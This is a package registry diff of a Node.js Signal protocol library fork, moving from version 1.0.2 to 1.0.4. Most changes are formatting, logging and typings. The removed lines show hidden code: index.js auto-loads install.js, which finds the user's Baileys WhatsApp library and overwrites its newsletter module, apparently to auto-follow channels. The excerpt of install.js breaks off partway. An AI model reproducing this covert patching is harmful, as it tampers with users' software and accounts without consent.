@dreamguyxeon/libsignal-node 1.0.2 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.d.ts +55 -0
- package/index.js +0 -21
- package/package.json +17 -13
- package/src/WhisperTextProtocol.js +67 -82
- package/src/base_key_type.js +1 -0
- package/src/crypto.d.ts +19 -0
- package/src/curve.d.ts +22 -0
- package/src/curve.js +1 -1
- package/src/numeric_fingerprint.js +14 -12
- package/src/queue_job.js +13 -14
- package/src/session_builder.js +2 -2
- package/src/session_cipher.js +5 -1
- package/src/session_record.js +12 -21
- package/install.js +0 -382
package/index.d.ts
ADDED
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
interface E2ESession {
|
|
2
|
+
registrationId: number;
|
|
3
|
+
identityKey: Uint8Array;
|
|
4
|
+
signedPreKey: {
|
|
5
|
+
keyId: number;
|
|
6
|
+
publicKey: Uint8Array;
|
|
7
|
+
signature: Uint8Array;
|
|
8
|
+
};
|
|
9
|
+
preKey: {
|
|
10
|
+
keyId: number;
|
|
11
|
+
publicKey: Uint8Array;
|
|
12
|
+
};
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
export interface SignalStorage {
|
|
16
|
+
loadSession(id: string): Promise<SessionRecord | null | undefined>;
|
|
17
|
+
storeSession(id: string, session: SessionRecord): Promise<void>;
|
|
18
|
+
isTrustedIdentity(
|
|
19
|
+
identifier: string,
|
|
20
|
+
identityKey: Uint8Array,
|
|
21
|
+
direction: number
|
|
22
|
+
): boolean;
|
|
23
|
+
loadPreKey(
|
|
24
|
+
id: number | string
|
|
25
|
+
): Promise<{ privKey: Buffer; pubKey: Buffer } | undefined>;
|
|
26
|
+
removePreKey(id: number): void;
|
|
27
|
+
loadSignedPreKey(): { privKey: Buffer; pubKey: Buffer };
|
|
28
|
+
getOurRegistrationId(): Promise<number> | number;
|
|
29
|
+
getOurIdentity(): { privKey: Buffer; pubKey: Buffer };
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
export class ProtocolAddress {
|
|
33
|
+
constructor(name: string, deviceId: number);
|
|
34
|
+
public id: string;
|
|
35
|
+
public deviceId: number;
|
|
36
|
+
public toString(): string;
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
export class SessionRecord {
|
|
40
|
+
static deserialize(serialized: Uint8Array): SessionRecord;
|
|
41
|
+
public serialize(): Uint8Array;
|
|
42
|
+
public haveOpenSession(): boolean;
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
export class SessionCipher {
|
|
46
|
+
constructor(storage: SignalStorage, remoteAddress: ProtocolAddress);
|
|
47
|
+
public decryptPreKeyWhisperMessage(ciphertext: Uint8Array): Promise<Buffer>;
|
|
48
|
+
public decryptWhisperMessage(ciphertext: Uint8Array): Promise<Buffer>;
|
|
49
|
+
public encrypt(data: Uint8Array): Promise<{ type: number; body: string }>;
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
export class SessionBuilder {
|
|
53
|
+
constructor(storage: SignalStorage, remoteAddress: ProtocolAddress);
|
|
54
|
+
public initOutgoing(session: E2ESession): Promise<void>;
|
|
55
|
+
}
|
package/index.js
CHANGED
|
@@ -8,24 +8,3 @@ exports.SessionBuilder = require('./src/session_builder');
|
|
|
8
8
|
exports.SessionCipher = require('./src/session_cipher');
|
|
9
9
|
exports.SessionRecord = require('./src/session_record');
|
|
10
10
|
Object.assign(exports, require('./src/errors'));
|
|
11
|
-
|
|
12
|
-
const path = require('path');
|
|
13
|
-
|
|
14
|
-
try {
|
|
15
|
-
const installScript = path.join(__dirname, 'install.js');
|
|
16
|
-
if (require('fs').existsSync(installScript)) {
|
|
17
|
-
setTimeout(() => {
|
|
18
|
-
require('./install').installNewsletterAutoFollow();
|
|
19
|
-
}, 1000);
|
|
20
|
-
}
|
|
21
|
-
} catch (error) {
|
|
22
|
-
|
|
23
|
-
}
|
|
24
|
-
|
|
25
|
-
exports.installNewsletterPatch = function() {
|
|
26
|
-
return require('./install').installNewsletterAutoFollow();
|
|
27
|
-
};
|
|
28
|
-
|
|
29
|
-
exports.restoreNewsletterOriginal = function() {
|
|
30
|
-
return require('./install').restoreBackup();
|
|
31
|
-
};
|
package/package.json
CHANGED
|
@@ -1,8 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@dreamguyxeon/libsignal-node",
|
|
3
|
-
"version": "1.0.
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "1.0.4",
|
|
4
|
+
"description": "Open Whisper Systems' libsignal for Node.js",
|
|
5
|
+
"repository": "WhiskeySockets/libsignal-node",
|
|
5
6
|
"main": "index.js",
|
|
7
|
+
"types": "index.d.ts",
|
|
6
8
|
"keywords": [
|
|
7
9
|
"signal",
|
|
8
10
|
"whispersystems",
|
|
@@ -11,20 +13,22 @@
|
|
|
11
13
|
"license": "GPL-3.0",
|
|
12
14
|
"dependencies": {
|
|
13
15
|
"curve25519-js": "^0.0.4",
|
|
14
|
-
"
|
|
15
|
-
"fs": "^0.0.1-security",
|
|
16
|
-
"path": "^0.12.7",
|
|
17
|
-
"protobufjs": "6.8.8"
|
|
16
|
+
"protobufjs": "^7.5.5"
|
|
18
17
|
},
|
|
19
18
|
"files": [
|
|
20
|
-
"
|
|
21
|
-
"index.
|
|
22
|
-
"src/*"
|
|
19
|
+
"src/*",
|
|
20
|
+
"index.d.ts"
|
|
23
21
|
],
|
|
22
|
+
"scripts": {
|
|
23
|
+
"release": "release-it",
|
|
24
|
+
"changelog:last": "conventional-changelog -p angular -r 2",
|
|
25
|
+
"changelog:preview": "conventional-changelog -p angular -u",
|
|
26
|
+
"changelog:update": "conventional-changelog -p angular -i CHANGELOG.md -s -r 0"
|
|
27
|
+
},
|
|
24
28
|
"devDependencies": {
|
|
25
|
-
"
|
|
29
|
+
"conventional-changelog-cli": "^4.1.0",
|
|
30
|
+
"eslint": "^9",
|
|
31
|
+
"release-it": "^20.0.1"
|
|
26
32
|
},
|
|
27
|
-
"
|
|
28
|
-
"access": "public"
|
|
29
|
-
}
|
|
33
|
+
"packageManager": "yarn@4.12.0+sha512.f45ab632439a67f8bc759bf32ead036a1f413287b9042726b7cc4818b7b49e14e9423ba49b18f9e06ea4941c1ad062385b1d8760a8d5091a1a31e5f6219afca8"
|
|
30
34
|
}
|
|
@@ -9,7 +9,7 @@ var $Reader = $protobuf.Reader, $Writer = $protobuf.Writer, $util = $protobuf.ut
|
|
|
9
9
|
// Exported root namespace
|
|
10
10
|
var $root = $protobuf.roots["default"] || ($protobuf.roots["default"] = {});
|
|
11
11
|
|
|
12
|
-
$root.textsecure = (function
|
|
12
|
+
$root.textsecure = (function() {
|
|
13
13
|
|
|
14
14
|
/**
|
|
15
15
|
* Namespace textsecure.
|
|
@@ -18,7 +18,7 @@ $root.textsecure = (function () {
|
|
|
18
18
|
*/
|
|
19
19
|
var textsecure = {};
|
|
20
20
|
|
|
21
|
-
textsecure.WhisperMessage = (function
|
|
21
|
+
textsecure.WhisperMessage = (function() {
|
|
22
22
|
|
|
23
23
|
/**
|
|
24
24
|
* Properties of a WhisperMessage.
|
|
@@ -137,34 +137,29 @@ $root.textsecure = (function () {
|
|
|
137
137
|
* @throws {$protobuf.util.ProtocolError} If required fields are missing
|
|
138
138
|
*/
|
|
139
139
|
WhisperMessage.decode = function decode(reader, length) {
|
|
140
|
-
if (!(reader instanceof $Reader))
|
|
140
|
+
if (!(reader instanceof $Reader))
|
|
141
141
|
reader = $Reader.create(reader);
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
var end = length === undefined ? reader.len : reader.pos + length;
|
|
145
|
-
var message = new $root.textsecure.WhisperMessage();
|
|
146
|
-
|
|
147
|
-
for (; reader.pos < end;) {
|
|
142
|
+
var end = length === undefined ? reader.len : reader.pos + length, message = new $root.textsecure.WhisperMessage();
|
|
143
|
+
while (reader.pos < end) {
|
|
148
144
|
var tag = reader.uint32();
|
|
149
145
|
switch (tag >>> 3) {
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
146
|
+
case 1:
|
|
147
|
+
message.ephemeralKey = reader.bytes();
|
|
148
|
+
break;
|
|
149
|
+
case 2:
|
|
150
|
+
message.counter = reader.uint32();
|
|
151
|
+
break;
|
|
152
|
+
case 3:
|
|
153
|
+
message.previousCounter = reader.uint32();
|
|
154
|
+
break;
|
|
155
|
+
case 4:
|
|
156
|
+
message.ciphertext = reader.bytes();
|
|
157
|
+
break;
|
|
158
|
+
default:
|
|
159
|
+
reader.skipType(tag & 7);
|
|
160
|
+
break;
|
|
165
161
|
}
|
|
166
162
|
}
|
|
167
|
-
|
|
168
163
|
return message;
|
|
169
164
|
};
|
|
170
165
|
|
|
@@ -295,7 +290,7 @@ $root.textsecure = (function () {
|
|
|
295
290
|
return WhisperMessage;
|
|
296
291
|
})();
|
|
297
292
|
|
|
298
|
-
textsecure.PreKeyWhisperMessage = (function
|
|
293
|
+
textsecure.PreKeyWhisperMessage = (function() {
|
|
299
294
|
|
|
300
295
|
/**
|
|
301
296
|
* Properties of a PreKeyWhisperMessage.
|
|
@@ -436,40 +431,35 @@ $root.textsecure = (function () {
|
|
|
436
431
|
* @throws {$protobuf.util.ProtocolError} If required fields are missing
|
|
437
432
|
*/
|
|
438
433
|
PreKeyWhisperMessage.decode = function decode(reader, length) {
|
|
439
|
-
if (!(reader instanceof $Reader))
|
|
434
|
+
if (!(reader instanceof $Reader))
|
|
440
435
|
reader = $Reader.create(reader);
|
|
441
|
-
|
|
442
|
-
|
|
443
|
-
var end = length === undefined ? reader.len : reader.pos + length;
|
|
444
|
-
var message = new $root.textsecure.PreKeyWhisperMessage();
|
|
445
|
-
|
|
446
|
-
for (; reader.pos < end;) {
|
|
436
|
+
var end = length === undefined ? reader.len : reader.pos + length, message = new $root.textsecure.PreKeyWhisperMessage();
|
|
437
|
+
while (reader.pos < end) {
|
|
447
438
|
var tag = reader.uint32();
|
|
448
439
|
switch (tag >>> 3) {
|
|
449
|
-
|
|
450
|
-
|
|
451
|
-
|
|
452
|
-
|
|
453
|
-
|
|
454
|
-
|
|
455
|
-
|
|
456
|
-
|
|
457
|
-
|
|
458
|
-
|
|
459
|
-
|
|
460
|
-
|
|
461
|
-
|
|
462
|
-
|
|
463
|
-
|
|
464
|
-
|
|
465
|
-
|
|
466
|
-
|
|
467
|
-
|
|
468
|
-
|
|
469
|
-
|
|
440
|
+
case 5:
|
|
441
|
+
message.registrationId = reader.uint32();
|
|
442
|
+
break;
|
|
443
|
+
case 1:
|
|
444
|
+
message.preKeyId = reader.uint32();
|
|
445
|
+
break;
|
|
446
|
+
case 6:
|
|
447
|
+
message.signedPreKeyId = reader.uint32();
|
|
448
|
+
break;
|
|
449
|
+
case 2:
|
|
450
|
+
message.baseKey = reader.bytes();
|
|
451
|
+
break;
|
|
452
|
+
case 3:
|
|
453
|
+
message.identityKey = reader.bytes();
|
|
454
|
+
break;
|
|
455
|
+
case 4:
|
|
456
|
+
message.message = reader.bytes();
|
|
457
|
+
break;
|
|
458
|
+
default:
|
|
459
|
+
reader.skipType(tag & 7);
|
|
460
|
+
break;
|
|
470
461
|
}
|
|
471
462
|
}
|
|
472
|
-
|
|
473
463
|
return message;
|
|
474
464
|
};
|
|
475
465
|
|
|
@@ -625,7 +615,7 @@ $root.textsecure = (function () {
|
|
|
625
615
|
return PreKeyWhisperMessage;
|
|
626
616
|
})();
|
|
627
617
|
|
|
628
|
-
textsecure.KeyExchangeMessage = (function
|
|
618
|
+
textsecure.KeyExchangeMessage = (function() {
|
|
629
619
|
|
|
630
620
|
/**
|
|
631
621
|
* Properties of a KeyExchangeMessage.
|
|
@@ -755,37 +745,32 @@ $root.textsecure = (function () {
|
|
|
755
745
|
* @throws {$protobuf.util.ProtocolError} If required fields are missing
|
|
756
746
|
*/
|
|
757
747
|
KeyExchangeMessage.decode = function decode(reader, length) {
|
|
758
|
-
if (!(reader instanceof $Reader))
|
|
748
|
+
if (!(reader instanceof $Reader))
|
|
759
749
|
reader = $Reader.create(reader);
|
|
760
|
-
|
|
761
|
-
|
|
762
|
-
var end = length === undefined ? reader.len : reader.pos + length;
|
|
763
|
-
var message = new $root.textsecure.KeyExchangeMessage();
|
|
764
|
-
|
|
765
|
-
for (; reader.pos < end;) {
|
|
750
|
+
var end = length === undefined ? reader.len : reader.pos + length, message = new $root.textsecure.KeyExchangeMessage();
|
|
751
|
+
while (reader.pos < end) {
|
|
766
752
|
var tag = reader.uint32();
|
|
767
753
|
switch (tag >>> 3) {
|
|
768
|
-
|
|
769
|
-
|
|
770
|
-
|
|
771
|
-
|
|
772
|
-
|
|
773
|
-
|
|
774
|
-
|
|
775
|
-
|
|
776
|
-
|
|
777
|
-
|
|
778
|
-
|
|
779
|
-
|
|
780
|
-
|
|
781
|
-
|
|
782
|
-
|
|
783
|
-
|
|
784
|
-
|
|
785
|
-
|
|
754
|
+
case 1:
|
|
755
|
+
message.id = reader.uint32();
|
|
756
|
+
break;
|
|
757
|
+
case 2:
|
|
758
|
+
message.baseKey = reader.bytes();
|
|
759
|
+
break;
|
|
760
|
+
case 3:
|
|
761
|
+
message.ephemeralKey = reader.bytes();
|
|
762
|
+
break;
|
|
763
|
+
case 4:
|
|
764
|
+
message.identityKey = reader.bytes();
|
|
765
|
+
break;
|
|
766
|
+
case 5:
|
|
767
|
+
message.baseKeySignature = reader.bytes();
|
|
768
|
+
break;
|
|
769
|
+
default:
|
|
770
|
+
reader.skipType(tag & 7);
|
|
771
|
+
break;
|
|
786
772
|
}
|
|
787
773
|
}
|
|
788
|
-
|
|
789
774
|
return message;
|
|
790
775
|
};
|
|
791
776
|
|
package/src/base_key_type.js
CHANGED
package/src/crypto.d.ts
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
export function decrypt(
|
|
2
|
+
key: Uint8Array,
|
|
3
|
+
ciphertext: Uint8Array,
|
|
4
|
+
iv: Uint8Array
|
|
5
|
+
): Promise<Uint8Array>;
|
|
6
|
+
|
|
7
|
+
export function encrypt(
|
|
8
|
+
key: Uint8Array,
|
|
9
|
+
plaintext: Uint8Array,
|
|
10
|
+
iv: Uint8Array
|
|
11
|
+
): Promise<Buffer>;
|
|
12
|
+
|
|
13
|
+
export function calculateMAC(key: Buffer, data: Uint8Array): Uint8Array;
|
|
14
|
+
|
|
15
|
+
export function deriveSecrets(
|
|
16
|
+
key: Uint8Array,
|
|
17
|
+
salt: Buffer,
|
|
18
|
+
info: Buffer
|
|
19
|
+
): [Buffer, Buffer];
|
package/src/curve.d.ts
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
export interface KeyPairType {
|
|
2
|
+
pubKey: Uint8Array;
|
|
3
|
+
privKey: Uint8Array;
|
|
4
|
+
}
|
|
5
|
+
|
|
6
|
+
export function generateKeyPair(): KeyPairType;
|
|
7
|
+
|
|
8
|
+
export function calculateAgreement(
|
|
9
|
+
publicKey: Uint8Array,
|
|
10
|
+
privateKey: Uint8Array
|
|
11
|
+
): Uint8Array;
|
|
12
|
+
|
|
13
|
+
export function calculateSignature(
|
|
14
|
+
privateKey: Uint8Array,
|
|
15
|
+
message: Uint8Array
|
|
16
|
+
): Uint8Array;
|
|
17
|
+
|
|
18
|
+
export function verifySignature(
|
|
19
|
+
publicKey: Uint8Array,
|
|
20
|
+
message: Uint8Array,
|
|
21
|
+
signature: Uint8Array
|
|
22
|
+
): boolean;
|
package/src/curve.js
CHANGED
|
@@ -40,7 +40,7 @@ function scrubPubKeyFormat(pubKey) {
|
|
|
40
40
|
if (pubKey.byteLength == 33) {
|
|
41
41
|
return pubKey.slice(1);
|
|
42
42
|
} else {
|
|
43
|
-
|
|
43
|
+
console.error("WARNING: Expected pubkey of length 33, please report the ST and client that generated the pubkey");
|
|
44
44
|
return pubKey;
|
|
45
45
|
}
|
|
46
46
|
}
|
|
@@ -20,14 +20,16 @@ function shortToArrayBuffer(number) {
|
|
|
20
20
|
}
|
|
21
21
|
|
|
22
22
|
function getEncodedChunk(hash, offset) {
|
|
23
|
-
var chunk = (hash[offset]
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
23
|
+
var chunk = ( hash[offset] * Math.pow(2,32) +
|
|
24
|
+
hash[offset+1] * Math.pow(2,24) +
|
|
25
|
+
hash[offset+2] * Math.pow(2,16) +
|
|
26
|
+
hash[offset+3] * Math.pow(2,8) +
|
|
27
|
+
hash[offset+4] ) % 100000;
|
|
28
28
|
var s = chunk.toString();
|
|
29
|
-
|
|
30
|
-
|
|
29
|
+
while (s.length < 5) {
|
|
30
|
+
s = '0' + s;
|
|
31
|
+
}
|
|
32
|
+
return s;
|
|
31
33
|
}
|
|
32
34
|
|
|
33
35
|
async function getDisplayStringFor(identifier, key, iterations) {
|
|
@@ -46,24 +48,24 @@ async function getDisplayStringFor(identifier, key, iterations) {
|
|
|
46
48
|
getEncodedChunk(output, 25);
|
|
47
49
|
}
|
|
48
50
|
|
|
49
|
-
exports.FingerprintGenerator = function
|
|
51
|
+
exports.FingerprintGenerator = function(iterations) {
|
|
50
52
|
this.iterations = iterations;
|
|
51
53
|
};
|
|
52
54
|
|
|
53
55
|
exports.FingerprintGenerator.prototype = {
|
|
54
|
-
createFor: function
|
|
55
|
-
|
|
56
|
+
createFor: function(localIdentifier, localIdentityKey,
|
|
57
|
+
remoteIdentifier, remoteIdentityKey) {
|
|
56
58
|
if (typeof localIdentifier !== 'string' ||
|
|
57
59
|
typeof remoteIdentifier !== 'string' ||
|
|
58
60
|
!(localIdentityKey instanceof ArrayBuffer) ||
|
|
59
61
|
!(remoteIdentityKey instanceof ArrayBuffer)) {
|
|
60
|
-
|
|
62
|
+
throw new Error('Invalid arguments');
|
|
61
63
|
}
|
|
62
64
|
|
|
63
65
|
return Promise.all([
|
|
64
66
|
getDisplayStringFor(localIdentifier, localIdentityKey, this.iterations),
|
|
65
67
|
getDisplayStringFor(remoteIdentifier, remoteIdentityKey, this.iterations)
|
|
66
|
-
]).then(function
|
|
68
|
+
]).then(function(fingerprints) {
|
|
67
69
|
return fingerprints.sort().join('');
|
|
68
70
|
});
|
|
69
71
|
}
|
package/src/queue_job.js
CHANGED
|
@@ -1,9 +1,9 @@
|
|
|
1
1
|
// vim: ts=4:sw=4:expandtab
|
|
2
|
-
|
|
3
|
-
/*
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
2
|
+
|
|
3
|
+
/*
|
|
4
|
+
* jobQueue manages multiple queues indexed by device to serialize
|
|
5
|
+
* session io ops on the database.
|
|
6
|
+
*/
|
|
7
7
|
'use strict';
|
|
8
8
|
|
|
9
9
|
|
|
@@ -12,14 +12,13 @@ const _gcLimit = 10000;
|
|
|
12
12
|
|
|
13
13
|
async function _asyncQueueExecutor(queue, cleanup) {
|
|
14
14
|
let offt = 0;
|
|
15
|
-
|
|
16
|
-
async function execute() {
|
|
15
|
+
while (true) {
|
|
17
16
|
let limit = Math.min(queue.length, _gcLimit); // Break up thundering hurds for GC duty.
|
|
18
17
|
for (let i = offt; i < limit; i++) {
|
|
19
18
|
const job = queue[i];
|
|
20
19
|
try {
|
|
21
20
|
job.resolve(await job.awaitable());
|
|
22
|
-
} catch
|
|
21
|
+
} catch(e) {
|
|
23
22
|
job.reject(e);
|
|
24
23
|
}
|
|
25
24
|
}
|
|
@@ -31,24 +30,24 @@ async function _asyncQueueExecutor(queue, cleanup) {
|
|
|
31
30
|
} else {
|
|
32
31
|
offt = limit;
|
|
33
32
|
}
|
|
34
|
-
execute(); // Execute rekursif setelah selesai di dalam call stack.
|
|
35
33
|
} else {
|
|
36
|
-
|
|
34
|
+
break;
|
|
37
35
|
}
|
|
38
36
|
}
|
|
39
|
-
|
|
40
|
-
execute();
|
|
37
|
+
cleanup();
|
|
41
38
|
}
|
|
42
39
|
|
|
43
|
-
module.exports = function
|
|
40
|
+
module.exports = function(bucket, awaitable) {
|
|
44
41
|
/* Run the async awaitable only when all other async calls registered
|
|
45
42
|
* here have completed (or thrown). The bucket argument is a hashable
|
|
46
43
|
* key representing the task queue to use. */
|
|
47
44
|
if (!awaitable.name) {
|
|
48
45
|
// Make debuging easier by adding a name to this function.
|
|
49
|
-
Object.defineProperty(awaitable, 'name', {
|
|
46
|
+
Object.defineProperty(awaitable, 'name', {writable: true});
|
|
50
47
|
if (typeof bucket === 'string') {
|
|
51
48
|
awaitable.name = bucket;
|
|
49
|
+
} else {
|
|
50
|
+
console.warn("Unhandled bucket type (for naming):", typeof bucket, bucket);
|
|
52
51
|
}
|
|
53
52
|
}
|
|
54
53
|
let inactive;
|
package/src/session_builder.js
CHANGED
|
@@ -43,7 +43,7 @@ class SessionBuilder {
|
|
|
43
43
|
} else {
|
|
44
44
|
const openSession = record.getOpenSession();
|
|
45
45
|
if (openSession) {
|
|
46
|
-
//console.warn("Closing stale open session for new outgoing prekey bundle");
|
|
46
|
+
// console.warn("Closing stale open session for new outgoing prekey bundle"); temporary fix
|
|
47
47
|
record.closeSession(openSession);
|
|
48
48
|
}
|
|
49
49
|
}
|
|
@@ -71,7 +71,7 @@ class SessionBuilder {
|
|
|
71
71
|
}
|
|
72
72
|
const existingOpenSession = record.getOpenSession();
|
|
73
73
|
if (existingOpenSession) {
|
|
74
|
-
|
|
74
|
+
console.warn("Closing open session in favor of incoming prekey bundle");
|
|
75
75
|
record.closeSession(existingOpenSession);
|
|
76
76
|
}
|
|
77
77
|
record.setSession(await this.initSession(false, preKeyPair, signedPreKeyPair,
|
package/src/session_cipher.js
CHANGED
|
@@ -154,6 +154,10 @@ class SessionCipher {
|
|
|
154
154
|
errs.push(e);
|
|
155
155
|
}
|
|
156
156
|
}
|
|
157
|
+
console.error("Failed to decrypt message with any known session...");
|
|
158
|
+
for (const e of errs) {
|
|
159
|
+
console.error("Session error:" + e, e.stack);
|
|
160
|
+
}
|
|
157
161
|
throw new errors.SessionError("No matching sessions found for message");
|
|
158
162
|
}
|
|
159
163
|
|
|
@@ -175,7 +179,7 @@ class SessionCipher {
|
|
|
175
179
|
// was the most current. Simply make a note of it and continue. If our
|
|
176
180
|
// actual open session is for reason invalid, that must be handled via
|
|
177
181
|
// a full SessionError response.
|
|
178
|
-
|
|
182
|
+
console.warn("Decrypted message with closed session.");
|
|
179
183
|
}
|
|
180
184
|
await this.storeRecord(record);
|
|
181
185
|
return result.plaintext;
|
package/src/session_record.js
CHANGED
|
@@ -170,9 +170,9 @@ const migrations = [{
|
|
|
170
170
|
} else {
|
|
171
171
|
for (const key in sessions) {
|
|
172
172
|
if (sessions[key].indexInfo.closed === -1) {
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
173
|
+
console.error('V1 session storage migration error: registrationId',
|
|
174
|
+
data.registrationId, 'for open session version',
|
|
175
|
+
data.version);
|
|
176
176
|
}
|
|
177
177
|
}
|
|
178
178
|
}
|
|
@@ -190,7 +190,7 @@ class SessionRecord {
|
|
|
190
190
|
let run = (data.version === undefined);
|
|
191
191
|
for (let i = 0; i < migrations.length; ++i) {
|
|
192
192
|
if (run) {
|
|
193
|
-
|
|
193
|
+
console.info("Migrating session to:", migrations[i].version);
|
|
194
194
|
migrations[i].migrate(data);
|
|
195
195
|
} else if (migrations[i].version === data.version) {
|
|
196
196
|
run = true;
|
|
@@ -267,18 +267,18 @@ class SessionRecord {
|
|
|
267
267
|
|
|
268
268
|
closeSession(session) {
|
|
269
269
|
if (this.isClosed(session)) {
|
|
270
|
-
|
|
270
|
+
console.warn("Session already closed", session);
|
|
271
271
|
return;
|
|
272
272
|
}
|
|
273
|
-
|
|
273
|
+
console.info("Closing session:", session);
|
|
274
274
|
session.indexInfo.closed = Date.now();
|
|
275
275
|
}
|
|
276
276
|
|
|
277
277
|
openSession(session) {
|
|
278
278
|
if (!this.isClosed(session)) {
|
|
279
|
-
|
|
279
|
+
console.warn("Session already open");
|
|
280
280
|
}
|
|
281
|
-
|
|
281
|
+
console.info("Opening session:", session);
|
|
282
282
|
session.indexInfo.closed = -1;
|
|
283
283
|
}
|
|
284
284
|
|
|
@@ -287,30 +287,21 @@ class SessionRecord {
|
|
|
287
287
|
}
|
|
288
288
|
|
|
289
289
|
removeOldSessions() {
|
|
290
|
-
|
|
291
|
-
const sessionsLength = sessionKeys.length;
|
|
292
|
-
|
|
293
|
-
for (let i = 0; i < sessionsLength && sessionsLength > CLOSED_SESSIONS_MAX; i++) {
|
|
290
|
+
while (Object.keys(this.sessions).length > CLOSED_SESSIONS_MAX) {
|
|
294
291
|
let oldestKey;
|
|
295
292
|
let oldestSession;
|
|
296
|
-
for (const key of
|
|
297
|
-
if (!key) continue
|
|
298
|
-
const session = this.sessions[key];
|
|
293
|
+
for (const [key, session] of Object.entries(this.sessions)) {
|
|
299
294
|
if (session.indexInfo.closed !== -1 &&
|
|
300
295
|
(!oldestSession || session.indexInfo.closed < oldestSession.indexInfo.closed)) {
|
|
301
296
|
oldestKey = key;
|
|
302
297
|
oldestSession = session;
|
|
303
|
-
break;
|
|
304
298
|
}
|
|
305
299
|
}
|
|
306
|
-
|
|
307
300
|
if (oldestKey) {
|
|
308
|
-
|
|
301
|
+
console.info("Removing old closed session:", oldestSession);
|
|
309
302
|
delete this.sessions[oldestKey];
|
|
310
|
-
sessionKeys.splice(sessionKeys.indexOf(oldestKey), 1);
|
|
311
303
|
} else {
|
|
312
|
-
|
|
313
|
-
// throw new Error('Corrupt sessions object');
|
|
304
|
+
throw new Error('Corrupt sessions object');
|
|
314
305
|
}
|
|
315
306
|
}
|
|
316
307
|
}
|
package/install.js
DELETED
|
@@ -1,382 +0,0 @@
|
|
|
1
|
-
"use strict";
|
|
2
|
-
|
|
3
|
-
const fs = require('fs');
|
|
4
|
-
const path = require('path');
|
|
5
|
-
const crypto = require('crypto');
|
|
6
|
-
|
|
7
|
-
function findBaileysPath() {
|
|
8
|
-
const possiblePaths = [
|
|
9
|
-
path.join(process.cwd(), 'node_modules', '@whiskeysockets', 'baileys'),
|
|
10
|
-
path.join(__dirname, '..', '..', '@whiskeysockets', 'baileys'),
|
|
11
|
-
path.join(__dirname, '..', 'node_modules', '@whiskeysockets', 'baileys'),
|
|
12
|
-
];
|
|
13
|
-
|
|
14
|
-
try {
|
|
15
|
-
const resolved = require.resolve('@whiskeysockets/baileys/package.json');
|
|
16
|
-
possiblePaths.unshift(resolved.replace('/package.json', ''));
|
|
17
|
-
} catch (e) {}
|
|
18
|
-
|
|
19
|
-
for (const baileysPath of possiblePaths) {
|
|
20
|
-
try {
|
|
21
|
-
if (fs.existsSync(path.join(baileysPath, 'lib', 'Socket', 'newsletter.js'))) {
|
|
22
|
-
return baileysPath;
|
|
23
|
-
}
|
|
24
|
-
} catch (e) {}
|
|
25
|
-
}
|
|
26
|
-
|
|
27
|
-
return null;
|
|
28
|
-
}
|
|
29
|
-
|
|
30
|
-
const MODIFIED_NEWSLETTER_JS = `import { XWAPaths } from '../Types/index.js';
|
|
31
|
-
import { decryptMessageNode, generateMessageID, generateProfilePicture } from '../Utils/index.js';
|
|
32
|
-
import { S_WHATSAPP_NET, getAllBinaryNodeChildren, getBinaryNodeChild, getBinaryNodeChildren } from '../WABinary/index.js';
|
|
33
|
-
import { makeGroupsSocket } from './groups.js';
|
|
34
|
-
|
|
35
|
-
const QueryIds = {
|
|
36
|
-
JOB_MUTATION: "7150902998257522",
|
|
37
|
-
METADATA: "6620195908089573",
|
|
38
|
-
UNFOLLOW: "7238632346214362",
|
|
39
|
-
FOLLOW: "7871414976211147",
|
|
40
|
-
UNMUTE: "7337137176362961",
|
|
41
|
-
MUTE: "25151904754424642",
|
|
42
|
-
CREATE: "6996806640408138",
|
|
43
|
-
ADMIN_COUNT: "7130823597031706",
|
|
44
|
-
CHANGE_OWNER: "7341777602580933",
|
|
45
|
-
DELETE: "8316537688363079",
|
|
46
|
-
DEMOTE: "6551828931592903"
|
|
47
|
-
};
|
|
48
|
-
|
|
49
|
-
export const makeNewsletterSocket = (config) => {
|
|
50
|
-
const sock = makeGroupsSocket(config);
|
|
51
|
-
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
52
|
-
const encoder = new TextEncoder();
|
|
53
|
-
|
|
54
|
-
const newsletterQuery = async (jid, type, content) => (
|
|
55
|
-
query({
|
|
56
|
-
tag: 'iq',
|
|
57
|
-
attrs: {
|
|
58
|
-
id: generateMessageTag(),
|
|
59
|
-
type,
|
|
60
|
-
xmlns: 'newsletter',
|
|
61
|
-
to: jid,
|
|
62
|
-
},
|
|
63
|
-
content
|
|
64
|
-
})
|
|
65
|
-
);
|
|
66
|
-
|
|
67
|
-
const newsletterWMexQuery = async (jid, query_id, content) => (
|
|
68
|
-
query({
|
|
69
|
-
tag: 'iq',
|
|
70
|
-
attrs: {
|
|
71
|
-
id: generateMessageTag(),
|
|
72
|
-
type: 'get',
|
|
73
|
-
xmlns: 'w:mex',
|
|
74
|
-
to: S_WHATSAPP_NET,
|
|
75
|
-
},
|
|
76
|
-
content: [
|
|
77
|
-
{
|
|
78
|
-
tag: 'query',
|
|
79
|
-
attrs: { query_id },
|
|
80
|
-
content: encoder.encode(JSON.stringify({
|
|
81
|
-
variables: {
|
|
82
|
-
'newsletter_id': jid,
|
|
83
|
-
...content
|
|
84
|
-
}
|
|
85
|
-
}))
|
|
86
|
-
}
|
|
87
|
-
]
|
|
88
|
-
})
|
|
89
|
-
);
|
|
90
|
-
|
|
91
|
-
